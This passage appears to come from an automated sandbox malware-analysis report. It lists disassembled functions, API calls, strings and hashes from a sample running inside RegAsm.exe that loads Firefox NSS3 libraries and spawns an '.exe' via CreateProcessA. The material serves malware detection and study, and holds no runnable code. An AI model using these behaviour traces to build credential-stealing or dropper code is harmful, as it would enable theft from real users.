pDigest = 0x%p, xrefs: 6C296E27

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$n7l
API String ID: 1003633598-2794673707
Opcode ID: c4b0fd6986ebb99909df5248c5f22c2b40518c50c491451eed13375d61d0f711
Instruction ID: ff753c4878c2235aaa36de551020a106982fd36619976f3238d60d6a26168b5a
Opcode Fuzzy Hash: c4b0fd6986ebb99909df5248c5f22c2b40518c50c491451eed13375d61d0f711
Instruction Fuzzy Hash: FB41D875601149AFDB509F55DD88F8E3BB5AF4231DF454014FC08ABA21DB3AA948CFE2

Function 6C2A4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C2A4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C2A4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C2A4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C2A4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C2A4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2A4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2A4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C2A4DB7

Part of subcall function 6C30DD70: TlsGetValue.KERNEL32 ref: 6C30DD8C
Part of subcall function 6C30DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C30DDB4

Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507AD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507CD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507D6
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1E204A), ref: 6C2507E4
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,6C1E204A), ref: 6C250864
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C250880
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,6C1E204A), ref: 6C2508CB
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508D7
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508FB

TlsGetValue.KERNEL32 ref: 6C2A4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C2A4DEC
PR_Unlock.NSS3(?), ref: 6C2A4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C2A4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2A4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C2A4E71
free.MOZGLUE(00000000), ref: 6C2A4E7A
PR_Unlock.NSS3(?), ref: 6C2A4EA2
TlsGetValue.KERNEL32 ref: 6C2A4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C2A4ED6
PR_Unlock.NSS3(?), ref: 6C2A4F01
free.MOZGLUE(00000000), ref: 6C2A4F2A

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: c66ad6b4eea593d4f4fc03ba96e80171ceb21ff676fd9c068f8d973574803379
Instruction ID: a86832448d84daf11abccb4f6df36f925bccc4170ec366dc3f7f37082c9aa162
Opcode Fuzzy Hash: c66ad6b4eea593d4f4fc03ba96e80171ceb21ff676fd9c068f8d973574803379
Instruction Fuzzy Hash: F2B1F775A0020A9FDF01DFA8DC44BAAB7B8BF09319F045124ED1597B41EB34E966CBD2

Function 0041260C Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 199stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

_memset.LIBCMT ref: 004127B1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 004127C9
lstrcatA.KERNEL32(?,00436698), ref: 004127D7
lstrcatA.KERNEL32(?,9bf5e431869643a2ac397d2dc0d687fb), ref: 004127E5
lstrcatA.KERNEL32(?,0043669C), ref: 004127F3
lstrcatA.KERNEL32(?,?), ref: 004127FF
lstrcatA.KERNEL32(?,004366A0), ref: 0041280D
lstrcatA.KERNEL32(?,?), ref: 00412819
lstrcatA.KERNEL32(?,004366A4), ref: 00412827
lstrcatA.KERNEL32(?,?), ref: 00412833
lstrcatA.KERNEL32(?,004366A8), ref: 00412841
lstrlenA.KERNEL32(?), ref: 0041284A
_memset.LIBCMT ref: 00412880

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,0041713D,004366CF,004366CE,?,?,?,?,00418558), ref: 00410581

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A56), ref: 00412460

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,004366AC,?), ref: 004128ED
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004128FB

Strings

9bf5e431869643a2ac397d2dc0d687fb, xrefs: 004127D9
.exe, xrefs: 0041264F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$9bf5e431869643a2ac397d2dc0d687fb
API String ID: 141474312-906504301
Opcode ID: cab830d2952c75c3adca644ea8a5d519e7d3585579938c5ce539dd59e8bb74a1
Instruction ID: afe535c3ca22ee26f13a18fa03d9d10f7d6f921679ada46fd1a294ce66a4e411
Opcode Fuzzy Hash: cab830d2952c75c3adca644ea8a5d519e7d3585579938c5ce539dd59e8bb74a1
Instruction Fuzzy Hash: 667110B1E4012DABCF21EF65DD45BCE7779AB04308F4114BAB608B7051D678AF898F98

Function 6C294E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C294E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C294EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C294EC7

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C294EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C294F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C294F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C294F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C294F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C294F68

Strings

pTemplate = 0x%p, xrefs: 6C294F4A
(CK_INVALID_HANDLE), xrefs: 6C294EC0, 6C294F13
hObject = 0x%x, xrefs: 6C294EF5, 6C294F05
n7l, xrefs: 6C294F82, 6C294FB2
ulCount = %d, xrefs: 6C294F63
hSession = 0x%x, xrefs: 6C294EA2, 6C294EB2
C_GetAttributeValue, xrefs: 6C294E7E

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$n7l
API String ID: 1003633598-3975285483
Opcode ID: f456ea0e0563f33c7ca2f3b32e54b61f2d9f2d6cb06727769660520f01d197a7
Instruction ID: fa70b9f3edbed654a096cb84d091c5befffe6fbc408654d9a934f113fa28193b
Opcode Fuzzy Hash: f456ea0e0563f33c7ca2f3b32e54b61f2d9f2d6cb06727769660520f01d197a7
Instruction Fuzzy Hash: E041F475601149ABDB00DF55DD48F9F37B9AB4230DF054024FC196BA11DB39AA48CFA6

Function 0041398B Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,0041770D), ref: 004139A0
ExitProcess.KERNEL32 ref: 004139AB
strtok_s.MSVCRT ref: 004139BC

Strings

block, xrefs: 00413994
wA, xrefs: 004139B5, 004139B8

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: wA$block
API String ID: 3407564107-2326475426
Opcode ID: 00e835cb47703e009ab1db9962fb5ca50efaaacb4136224c34a252617d2e579e
Instruction ID: 3fecc6b50b014ee560bff368e5c23b1bac730c7e19431406c689e344f5713ad5
Opcode Fuzzy Hash: 00e835cb47703e009ab1db9962fb5ca50efaaacb4136224c34a252617d2e579e
Instruction Fuzzy Hash: 15417270E04306FBDB44AF74DC8AA9A7B6CBF0474BB205466F403D2190F7B997808B98

Function 6C294CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C294CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C294D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C294D37

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C294D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C294D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C294D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C294DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C294DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C294E20

Strings

*pulSize = 0x%x, xrefs: 6C294E1B
(CK_INVALID_HANDLE), xrefs: 6C294D30, 6C294D83
C_GetObjectSize, xrefs: 6C294CEE
hObject = 0x%x, xrefs: 6C294D65, 6C294D75
n7l, xrefs: 6C294DD4, 6C294DFF
hSession = 0x%x, xrefs: 6C294D12, 6C294D22
pulSize = 0x%p, xrefs: 6C294DB7

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$n7l
API String ID: 1003633598-4187432418
Opcode ID: 2091c08cee0ee537a5918cc70aacae78b82a37da227e91c30ad843077c5b9488
Instruction ID: 41128cd06182215dbf411df867930c2b659a5989d9a033b52b85e605beae9642
Opcode Fuzzy Hash: 2091c08cee0ee537a5918cc70aacae78b82a37da227e91c30ad843077c5b9488
Instruction Fuzzy Hash: 8B412B79601108AFDB109F11DD88F6E3779EB4630DF454025FC18ABA21DB39AA48CFB6

Function 0041B83A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,759183C0,00000000,0041C525,?), ref: 0041B83F
StrCmpCA.SHLWAPI(759183C0,0043613C), ref: 0041B86D
StrCmpCA.SHLWAPI(759183C0,.zip), ref: 0041B87D
StrCmpCA.SHLWAPI(759183C0,.zoo), ref: 0041B889
StrCmpCA.SHLWAPI(759183C0,.arc), ref: 0041B895
StrCmpCA.SHLWAPI(759183C0,.lzh), ref: 0041B8A1
StrCmpCA.SHLWAPI(759183C0,.arj), ref: 0041B8AD
StrCmpCA.SHLWAPI(759183C0,.gz), ref: 0041B8B9
StrCmpCA.SHLWAPI(759183C0,.tgz), ref: 0041B8C5

Strings

.arj, xrefs: 0041B8A7
.lzh, xrefs: 0041B89B
.tgz, xrefs: 0041B8BF
.zip, xrefs: 0041B877
.zoo, xrefs: 0041B883
.gz, xrefs: 0041B8B3
.arc, xrefs: 0041B88F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction ID: 84e0ba9b9691a3fd2044bafd44d8a213bd49bf31f301437cc6cd5746c5a5d347
Opcode Fuzzy Hash: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction Fuzzy Hash: C5015231A81327F19A223A32AD42FFF1A5CCD86F847155437EC00A2189DB5CD98755FE

Function 6C2B8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C2B8E01,00000000,6C2B9060,6C3C0B64), ref: 6C2B8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C2B8E01,00000000,6C2B9060,6C3C0B64), ref: 6C2B8E9E
PORT_ArenaAlloc_Util.NSS3(6C3C0B64,00000001,?,?,?,?,6C2B8E01,00000000,6C2B9060,6C3C0B64), ref: 6C2B8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C2B8E01,00000000,6C2B9060,6C3C0B64), ref: 6C2B8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C2B8E01,00000000,6C2B9060,6C3C0B64), ref: 6C2B8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C2B8E01,00000000,6C2B9060,6C3C0B64), ref: 6C2B8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C2B8E01), ref: 6C2B8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C3C0B64,6C3C0B64), ref: 6C2B8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C2B8F3F

Part of subcall function 6C2BA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C2BA421,00000000,00000000,6C2B9826), ref: 6C2BA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2B904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C2B8E76

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: cbb9a1cb446815203e1e0a0361523ee4c54d1e4380576656008d3b47b02e6d9c
Instruction ID: 3508887b7dc8c66b3808c0880feba1411778d8fe5fa885543c53eb6f601826cf
Opcode Fuzzy Hash: cbb9a1cb446815203e1e0a0361523ee4c54d1e4380576656008d3b47b02e6d9c
Instruction Fuzzy Hash: E26181B5D0020A9BDB10DF55CC80AAFB7B9EF94399F144528EC18B7701EB35A925CBB1

Function 6C268E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C268E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C268E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C268EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C3918D0,?), ref: 6C268F03
PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0), ref: 6C268F19
PL_FreeArenaPool.NSS3(?), ref: 6C268F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C268F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C268F65
PL_FinishArenaPool.NSS3(?), ref: 6C268FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C268FFE
PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0), ref: 6C269012
PL_FreeArenaPool.NSS3(?), ref: 6C269024
PL_FinishArenaPool.NSS3(?), ref: 6C26902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C26903E

Strings

security, xrefs: 6C268EE7

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 742ee3948dad5995bcfa8110207aac244badde2bf1c7db05e369830ba158582b
Instruction ID: 34fd1939e77759cfa9e6afffa66dd5f32db02803913eced944ef6b3e33099b19
Opcode Fuzzy Hash: 742ee3948dad5995bcfa8110207aac244badde2bf1c7db05e369830ba158582b
Instruction Fuzzy Hash: 89515C76608308ABD7109A169C41FAB73E8AB8675CF40092EFD9597F40EB32D948C773

Function 6C19D4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C19D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C19D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C19D52A
GetCurrentThreadId.KERNEL32 ref: 6C19D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C19D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C19D55F
free.MOZGLUE(00000000), ref: 6C19D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C19D5D3
GetCurrentThreadId.KERNEL32 ref: 6C19D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C19D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C19D652
GetCurrentThreadId.KERNEL32 ref: 6C19D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C19D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C19D6A2

Strings

g/, xrefs: 6C19D4E1, 6C19D5EE

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: g/
API String ID: 2206442479-2179982415
Opcode ID: 413266d218faa2b77e67671120e34c54312f2f084b320b79f4c35cdf54971be8
Instruction ID: d1bf26b5a3ef2cc835df87e2fbc098d981734ab7021eaa94d6044da5e29b8c35
Opcode Fuzzy Hash: 413266d218faa2b77e67671120e34c54312f2f084b320b79f4c35cdf54971be8
Instruction Fuzzy Hash: 46516975A04705EFC704DF34C888A9ABBB4FF89318F008A2EE85A87711DB34E955CB91

Function 6C32CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C32CC7B), ref: 6C32CD7A

Part of subcall function 6C32CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C29C1A8,?), ref: 6C32CE92

